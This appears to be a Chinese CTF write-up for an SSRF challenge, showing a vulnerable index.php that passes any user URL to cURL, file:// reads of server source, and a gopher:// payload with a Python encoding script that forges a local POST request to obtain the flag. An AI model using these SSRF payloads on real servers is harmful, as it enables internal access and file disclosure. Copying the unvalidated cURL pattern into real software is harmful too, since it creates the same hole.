1.打开题目首先输入url=127.0.0.1/flag.php进行测试,查看源码后发现给出一个key值
将key值输入该页面给出的输入框后,提示只能从127.0.0.1进行访问
2.接着访问flag.php,index.php的源代码
通过file伪协议
file:///var/www/html/flag.php
file:///var/www/html/index.php
//flag.php源码加注释(源码不带) <?php error_reporting(0);//禁用所有错误报告,这意味着PHP将不会显示任何警告或错误信息。 if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; return; }//这检查请求是否来自本地地址127.0.0.1。如果不是,将显示消息“Just View From 127.0.0.1”并终止脚本执行。 $flag=getenv("CTFHUB");//获取环境变量 $key = md5($flag);//加密 if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; }//验证key成功则得到flag ?> <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>
//index.php源码 <?php // 关闭所有错误报告 error_reporting(0); // 检查是否有 'url' 参数被传递到脚本中 if (!isset($_REQUEST['url'])) { // 如果没有 'url' 参数,重定向到根目录,并添加查询字符串 '?url=_' header("Location: /?url=_"); exit; } // 初始化cURL会话 $ch = curl_init(); // 设置cURL的目标URL,使用传入的 'url' 参数 curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); // 设置cURL选项,告诉cURL不返回HTTP头,只返回正文内容 curl_setopt($ch, CURLOPT_HEADER, 0); // 设置cURL选项,允许cURL跟随重定向 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 执行cURL请求 curl_exec($ch); // 关闭cURL会话 curl_close($ch); ?>
构造gopher伪协议,使得在index页面提交带key的post请求以得到flag,注意换行符
gopher://127.0.0.1:80/_
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencodedkey=80da6951bda80138fa19edbc41ff2960
构造好之后放入bp编码
但是使用bp的url编码得不到本题flag,只有用脚本的url编码才能得到flag(不理解,望有高人指点)
脚本附上
import urllib.parse payload =\ """ POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=80da6951bda80138fa19edbc41ff2960 """ tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://127.0.0.1:80/'+'_'+new result = urllib.parse.quote(result) print(result)
在cmd里运行,位置自选,我的在桌面